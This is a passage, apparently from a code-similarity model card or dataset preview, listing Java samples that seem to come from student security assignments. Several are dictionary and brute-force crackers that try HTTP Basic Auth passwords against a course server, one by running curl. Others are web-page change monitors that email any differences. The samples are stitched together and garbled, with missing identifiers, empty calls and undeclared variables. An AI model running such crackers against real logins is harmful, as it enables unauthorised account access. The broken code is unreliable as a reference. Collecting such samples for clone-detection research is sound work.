                   BufferedReader in = new BufferedReader(
                                           new InputStreamReader(
                                           yc.getInputStream()));

                   String inputLine;
                   while ((inputLine = in.readLine()) != null){
                           System.out.println(inputLine);
                            etime = System.currentTimeMillis();
                           System.out.println("Password found -- " + String.valueOf());
                           System.out.println("Time used = " + ((etime - stime)/1000) + " sec");
                           System.out.println("# of attempt = " + count);
                           System.out.println("End of cracking!");
                           found = 1;
                   }
                   in.print();

	           } catch (Exception ex) {}
	         }
	         ctrl = 1;
             c[1] = (char)(j);
           }
           ctrl = 2;
           flag = 1;
           c[0] = (char)(i);
         }
         if (found == 0){
           System.out.println("Sorry,  password found.");
           System.out.println("# of attempt = " + count);
           System.out.println("End of cracking!");
         }
    }
}, 

import java.net.*;
import java.io.*;

import java.*;
import java.util.*;

public class Dictionary {

  private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
  private String password;             
  private String previous;             
  private String url;                  
  private int startTime;
  private int endTime;
  private int totalTime;
  private float averageTime;
  private boolean finish;
  private Process curl;
  private BufferedReader bf, responseLine;

  public Dictionary() {

  first();
  finish = true;                           
  previous = "";                           
  Runtime run = Runtime.getRuntime();
  startTime =new Date().getTime();         
  int i=0;
  try {
   try {
     bf = new BufferedReader(new FileReader("words"));
   }
   catch(FileNotFoundException notFound) {
    bf  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
   }

   while((password = bf.readLine()) != null) {
    if(password.length()>3) password = password.substring(0,3);
    if(previous.equals(password)) ;
    else {
    previous = password;
    url = commandLine+password;
    curl= run.exec(url);                   
    responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));
    
    if(responseLine.readLine().substring(9,12).equals("200")) break;
    }
   }
  }
  catch(IOException ioe) {
    System.out.println("\n IO Exception! \n");
    System.out.println("The current url is:"+ url);
    System.out.println("The current trying password is:"+password);
    finish=false;
  }

  endTime = new Date().getTime();          
  totalTime = (endTime-startTime)/1000;
  System.out.println("   The response time is:"+ totalTime + "  seconds\n");
  if(finish) {
    System.out.println("   The password for  is:"+ password);
    try {
    savePassword(password, totalTime);
    }
    catch (IOException ioec) {
       System.out.println("  not save the password  file Dictionary_pwd.txt ");
    }
  }
  }


  public void savePassword(String passwdString, int time) throws IOException {
  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("Dictionary_pwd.txt"));
  outputStream.writeChars("The password is:");
  outputStream.writeChars(passwdString+"\n");
  outputStream.writeChars("The response time is: ");
  outputStream.writeChars(sw.toString(time));
  outputStream.writeChars(" seconds\n");
  outputStream.close();
  }

  public void first() {

    System.out.println("\n\n----------------------------------------------");
    System.out.println("   Use curl command and dictionary ");
    System.out.println("  Brute Force the password for user  ");
    System.out.println("----------------------------------------------");
  }

  public static void main(String[] args) {
   new Dictionary();
  }  
}
, source_sentence: 

import java.net.*;
import java.io.*;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.*;
import java.*;


public class Dictionary {
    public static void main(String[] args) throws Exception {
        String pass;
        int attempt = 0;
        String fileName = "words.txt", line;
        BufferedReader reader;
        Dictionary dict = new Dictionary();
        boolean flag=false;

        System.out.println(System.currentTimeMillis()/1000);

      try{
        reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
        while (!flag)
        {
            try{
               line = reader.readLine();
               attempt++;
               URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
               URLConnection yc = url.openConnection();
               pass = ":" + line;
               String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
               yc.setRequestProperty("Authorization"," "+password);
               BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
               String inputLine;
               while ((inputLine = in.readLine()) != null)
                   System.out.println(inputLine);
               in.close();
               System.out.println(pass);
               flag=true;
               System.out.println(System.currentTimeMillis()/1000); 
               System.out.println(" of attempt: "+attempt);
               System.exit(0);
             }catch(IOException e){
                
             }
        }  
      }catch(FileNotFoundException e){
         System.out.println("File not found");

      }
    }
}
sentences: import java.io.*;
import java.net.*;
import java.util.*;

public class Watchdog
{
	public static void main(String args[])
	{
		
		String mainLink="http://www.cs.rmit.edu./students/";
		String sender = "@cs.rmit.edu.";
		String recipient = "<webtech@acuneeds.>";
		String hostName = "yallara.cs.rmit.edu.";
		int delay = 86400000;

		try
		{
			int imgSrcIndex, imgSrcEnd;
			String imgLink;
			Vector imageList = new Vector();
			HttpURLConnection imgConnection;
			URL imgURL;

			
			EmailClient email = new EmailClient(sender, recipient, hostName);

			
			URL url=new URL(mainLink);
			HttpURLConnection connection = (HttpURLConnection) url.openConnection();

			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));

			
			FileWriter fwrite = new FileWriter("local.txt");
			BufferedWriter writefile = new BufferedWriter(fwrite);

			String line=webpage.readLine();

			while (line != null)
			{
				
				writefile.write(line,0,line.length());
				writefile.newLine();

				
				line = line.toLowerCase();
				imgSrcIndex=line.indexOf("src");

				if(imgSrcIndex!=-1)
				{
					
					imgLink = line.substring(imgSrcIndex+3);
					imgSrcIndex=imgLink.indexOf("\"");
					imgLink = imgLink.substring(imgSrcIndex+1);
					imgSrcEnd = imgLink.indexOf("\"");
					imgLink = imgLink.substring(0,imgSrcEnd);

					
					if (imgLink.startsWith("http"))
					{
						imgURL = new URL(imgLink);
						imgConnection = (HttpURLConnection) imgURL.openConnection();
					}
					
					else
					{
						imgURL = new URL(mainLink);
						imgURL = new URL(imgURL, imgLink);
						imgConnection = (HttpURLConnection) imgURL.openConnection();
						imgLink = (imgConnection.getURL()).toString();
					}

					
					imageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));
					imgConnection.disconnect();
				}

				line = webpage.readLine();

			}

			
			writefile.close();
			fwrite.close();
			webpage.close();
			connection.disconnect();

			
			WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
		}

		catch (IOException ioe)
		{
			
			
			System.out.println(ioe);
			System.out.println("Please run program again.");
			System.exit(0);
		}

	}

}
, import java.net.*;
import java.io.*;


public class Dictionary {
  private String strUserName;
  private String strURL;
  private String strDictPath;
  private int iAttempts;

    
    public Dictionary(String strURL,String strUserName,String strDictPath) {
    this.strURL = strURL;
    this.strUserName = strUserName;
    this.iAttempts = 0 ;
    this.strDictPath = strDictPath;
    }
  

  public String getPassword(){
      URL u;
      String result ="";
      PassGenDict PG = new PassGenDict(3,strDictPath);
      URLConnection uc;
      String strPassword = new String();
      String strEncode;
        try{
        while (result.compareTo("HTTP/1.1 200 OK")!=0){
      
          strEncode = PG.getNewPassword();
          u = new URL(strURL);
          uc = u.openConnection();
          uc.setDoInput(true);
          uc.setDoOutput(true);
          strPassword = strEncode;
          strEncode =  strUserName + ":" + strEncode;
          
        strEncode = new String(Base64.encode(strEncode.getBytes()));
          uc.setRequestProperty("Authorization"," " + strEncode);
            
      result = uc.getHeaderField(0);
          uc = null;
          u = null;
          iAttempts++;
        }

      }
      catch (Exception me) {
      System.out.println("MalformedURLException: "+me);
      }
      return(strPassword);
  }
 
   public int getAttempts(){
    return (iAttempts);
  };
  
  public static void  main(String arg[]){
     timeStart = 0;
     timeEnd = 0;
    
    if (arg.length == 3) {
    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);

    System.out.println("Processing ... ");
    timeStart = System.currentTimeMillis();
    System.out.println("Password = " + BF.getPassword());
    timeEnd = System.currentTimeMillis();
    System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
    System.out.println("Total Attempts  = " + BF.getAttempts());
    }
    else {
       System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");

    }

  }
}


class PassGenDict {

  private char[] password;
  private String line;
  int iPassLenght;
  private BufferedReader inputFile;
  public PassGenDict(int lenght, String strDictPath) {
    try{
      inputFile = new BufferedReader(new FileReader(strDictPath));
    }
    catch (Exception e){
    }
    iPassLenght = lenght;
  }
   
 public String getNewPassword()
    throws PasswordFailureException{
    try {
      {
        line = inputFile.readLine();
      }while (line.length() != iPassLenght);

    }
    catch (Exception e){
      throw new PasswordFailureException ();
    }
    return (line);
  }
}

class PasswordFailureException extends RuntimeException {

  public PasswordFailureException() {
  }
}, 

import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary{

  private static URL location;
  private static String user;
  private BufferedReader input;
  private static BufferedReader dictionary;
  private int maxLetters = 3;

  

    public Dictionary() {
      
      Authenticator.setDefault(new MyAuthenticator ());

       startTime = System.currentTimeMillis();
      boolean passwordMatched = false;
      while (!passwordMatched) {
        try {
          input = new BufferedReader(new InputStreamReader(location.openStream()));
          String line = input.readLine();
          while (line != null) {
            System.out.println(line);
            line = input.readLine();
          }
          input.close();
          passwordMatched = true;
        }
        catch (ProtocolException e)
        {
          
          
        }
        catch (ConnectException e) {
          System.out.println("Failed  connect");
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }
       endTime = System.currentTimeMillis();
      System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
    }

    

    private char[] nextPassword() {
      String password = new String();
      try {
        password = dictionary.readLine();
        while (password.length() > maxLetters) {
          password = dictionary.readLine();
        }
      }
      catch (IOException e) {
        e.printStackTrace();
        System.exit(-1);
      }

      return password.toCharArray();
    }


    

    public static void main(String args[]) {
      if (args.length != 3) {
        System.out.println("Usage: java Dictionary url user dictionary");
        System.exit(-1);
      }
      try {
        location = new URL(args[0]);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
      user = new String().concat(args[1]);
      try {
        dictionary = new BufferedReader(new FileReader(args[2]));
      }
      catch (IOException e) {
        e.printStackTrace();
        System.exit(-1);
      }
      new Dictionary();
    }

    

    class MyAuthenticator extends Authenticator {
      protected PasswordAuthentication getPasswordAuthentication() {
        char [] currentPassword = nextPassword();
        System.out.print(user.concat("-"));
        System.out.println(currentPassword);
        return new PasswordAuthentication (user, currentPassword);
      }
    }
}
, source_sentence: 





import java.io.*;
import java.net.*;



public class Dictionary
{
   public static void main (String args[]) throws IOException,
   MalformedURLException
   {
      final String username = "";
      final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
      final String dictfile = "/usr/share/lib/dict/words";
      String temppass;
      String password = "";
      URL url = new URL(fullurl);
      boolean cracked = false;

       startTime = System.currentTimeMillis();

      
      BufferedReader r = new BufferedReader(new FileReader(dictfile));

      while((temppass = r.readLine()) != null && !cracked)
      {  
         
         if(temppass.length() <= 3)
         {
            
            if(isAlpha(temppass))
            {
               
               Authenticator.setDefault(new MyAuthenticator(username,temppass));
               try{
                  BufferedReader x = new BufferedReader(new InputStreamReader(
                     url.openStream()));
                  cracked = true;
                  password = temppass;
               } catch(Exception e){}
            }
         }
      }

       stopTime = System.currentTimeMillis();
      
      if(!cracked)
         System.out.println("Sorry, couldnt find the password");
      else
         System.out.println("Password found: "+password);
      System.out.println("Time taken: "+(stopTime-startTime));
   }

   public static boolean isAlpha(String s)
   {
      boolean v = true;
      for(int i=0; i<s.length(); i++)
      {
         if(!Character.isLetter(s.charAt(i)))
            v = false;
      }
      return ;
   }
}


sentences: 

import java.net.*;
import java.text.*;  
import java.util.*;  
import java.io.*;

public class WatchDog {

  public WatchDog() {

    StringBuffer stringBuffer1 = new StringBuffer();
    StringBuffer stringBuffer2 = new StringBuffer();
    int i,j = 0;

    try{

      URL yahoo = new URL("http://www.cs.rmit.edu./students/"); 
      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));

      String inputLine = "";
      String inputLine1 = "";
      String changedtext= "";
      String changedflag= "";


      Thread.sleep(180);

      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));


      while ((inputLine = in.readLine()) != null) {
           inputLine1 = in1.readLine();
           if (inputLine.equals(inputLine1)) {
              System.out.println("equal");
           }
           else {
              System.out.println("Detected a Change");
              System.out.println("Line Before the change:" + inputLine);
              System.out.println("Line After the change:" + inputLine1);
              changedtext = changedtext + inputLine + inputLine1;
              changedflag = "Y";
           }
           
      }

      if (in1.readLine() != null ) {
         System.out.println("Detected a Change");
         System.out.println("New Lines Added  ");
         changedtext = changedtext + "New Lines added";
         changedflag = "Y";
      }

      in.print();
      in1.print();

      if (changedflag.equals("Y")) {
         String smtphost ="smtp.mail.rmit.edu." ; 
         String from = "@rmit.edu."; 
         String  = "janaka1@optusnet.." ; 
      }


    }
    catch(Exception e){ System.out.println("exception:" + e);}
	 
}
		
    public static void main (String[] args) throws Exception {
		WatchDog u = new WatchDog();
    }
}
, 



import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;

public class PasswordCombination
{
    private int      pwdCounter = 0;
    private   int   startTime;
    private String   str1,str2,str3;
    private String   url = "http://sec-crack.cs.rmit.edu./SEC/2/";
    private String   loginPwd;
    private String[] password;
    private HoldSharedData data;
    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                            'a','b','c','d','e','f','g','h','i','j','k','l','m',
                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};

    public PasswordCombination()
    {
        System.out.println("Programmed by   for INTE1070 Assignment 2");

        String input = JOptionPane.showInputDialog( "Enter number of threads" );
        if(  input == null  )
           System.exit(0);

        int numOfConnections = Integer.parseInt( input );
        startTime = System.currentTimeMillis();
        int pwdCounter = 52*52*52 + 52*52 + 52;
        password = new String[pwdCounter];


        loadPasswords();
        System.out.println( "Total Number of Passwords: " + pwdCounter );
        createConnectionThread( numOfConnections );
    }

    private void doPwdCombination()
    {
        for( int i = 0; i < 52; i ++ )
        {
            str1 = "" + chars[i];
            password[pwdCounter++] = "" + chars[i];
            System.err.print( str1 + " | " );

            for( int j = 0; j < 52; j ++ )
            {
                str2 = str1 + chars[j];
                password[pwdCounter++] = str1 + chars[j];

                for( int k = 0; k < 52; k ++ )
                {
                    str3 = str2 + chars[k];
                    password[pwdCounter++] = str2 + chars[k];
                }
            }
        }
    }

    private void loadPasswords( )
    {
        FileReader     fRead;
        BufferedReader buf;
        String         line = null;
        String         fileName = "words";

        try
        {
            fRead = new FileReader( fileName );
            buf = new BufferedReader(fRead);

            while((line = buf.readLine( )) != null)
            {
                password[pwdCounter++] = line;
            }
        }
        catch(FileNotFoundException e)
        {
            System.err.println("File not found: " + fileName);
        }
        catch(IOException ioe)
        {
            System.err.println("IO Error " + ioe);
        }
    }

    private void createConnectionThread( int input )
    {
        data = new HoldSharedData( startTime, password, pwdCounter );

        int numOfThreads = input;
        int batch = pwdCounter/numOfThreads + 1;
        numOfThreads = pwdCounter/batch + 1;
        System.out.println("Number of Connection Threads Used=" + numOfThreads);
        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];

        for( int index = 0; index < numOfThreads; index ++ )
        {
            connThread[index] = new ConnectionThread( url, index, batch, data );
            connThread[index].conn();
        }
    }
}  , import java.io.*;
import java.util.StringTokenizer;
import java.net.smtp.SmtpClient;
import java.util.Timer;
import java.util.TimerTask;


public class WatchDog {
public static void main(String[] args) {
try {
Process y = Runtime.getRuntime().exec("./init");
}
catch (Exception e) {System.err.println(e);}


WatchDog poodle=new WatchDog();
 {
poodle.startWatch();
} while(1==1);
}

public void startWatch() {
String error_mes=new String();
String mesg=new String();
String url="wget -p http://www.cs.rmit.edu./students";

try {
Process a = Runtime.getRuntime().exec(url);
}
catch (Exception e) {System.err.println(e);}

try {
Process b = Runtime.getRuntime().exec("diff org/images/ www.cs.rmit.edu./images/");
 BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream()));
            while ((error_mes = stdInputimages.readLine()) != null) {

              mesg=mesg.concat(error_mes);
              
              
              }
}
catch (Exception e) {System.err.println(e);}




try {
Process c = Runtime.getRuntime().exec("diff org/students/ www.cs.rmit.edu./students/");
BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));
            while ((error_mes = stdInputindex.readLine()) != null) {
             mesg=mesg.concat(error_mes);
                  
              }
}
catch (Exception e) {System.err.println(e);}


if (mesg.length()>0) { sendEmail(mesg); }

try { Thread.sleep(60*60*24*1000);
 } catch(Exception e) { }
}





public void sendEmail(String message) {
{
String reciever = "@cs.rmit.edu.";
String sender = "WATCHDOG@cs.rmit.edu.";

    try {

                        SmtpClient smtp = new SmtpClient();
                        smtp.from(sender);
                        smtp.to(reciever);
                        PrintStream msg = smtp.startMessage();
                        msg.println(message);
                        smtp.closeServer();
                }

                catch (Exception e) {}

        }
}
}
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 14
Created: 2025-06-11 10:38:58